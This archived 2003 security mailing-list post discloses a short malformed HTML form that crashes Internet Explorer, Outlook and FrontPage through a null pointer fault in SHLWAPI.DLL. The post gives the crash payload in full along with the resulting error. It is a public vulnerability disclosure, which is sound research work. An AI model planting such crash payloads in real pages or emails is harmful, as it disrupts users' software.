IE / Outlook / MS SHLWAPI Render - more trivial crash

From: Ramon Pinuaga Cascales (rpinuagaat_private)
Date: Mon Apr 21 2003 - 15:07:20 PDT

  • Next message: Jesper Johansson: "RE: Authentication flaw in microsoft SMB protocol"

    Hola:
    
    Well, as it seems that is the Microsoft Crash mounth, let see another one:
    
    ---------------------------------
    
    <html>
    <form>
    <input type crash>
    </form>
    </html>
    
    ---------------------------------
    
    
    This will crash IE with the following error:
    
    "Unhandled exception in iexplore.exe (SHLWAPI.DLL): 0xC0000005: Access
    Violation"
    
    It's a null pointer overwrite, so it's not easly exploitable...
    
    
    This HTML also crash Outlook, Frontpage, and all the Microsoft
    programs that use the shlwapi.dll library to render web code.
    
    Plain HTML is a dangerous language :)
    
    
    -- 
    Saludos,
    
     Ramon Pinuaga Cascales      
     mailto:rpinuagaat_private
     Analista de Seguridad Telematica
     Tfno: 620921960
    
    --
    



    This archive was generated by hypermail 2b30 : Tue Apr 22 2003 - 08:45:47 PDT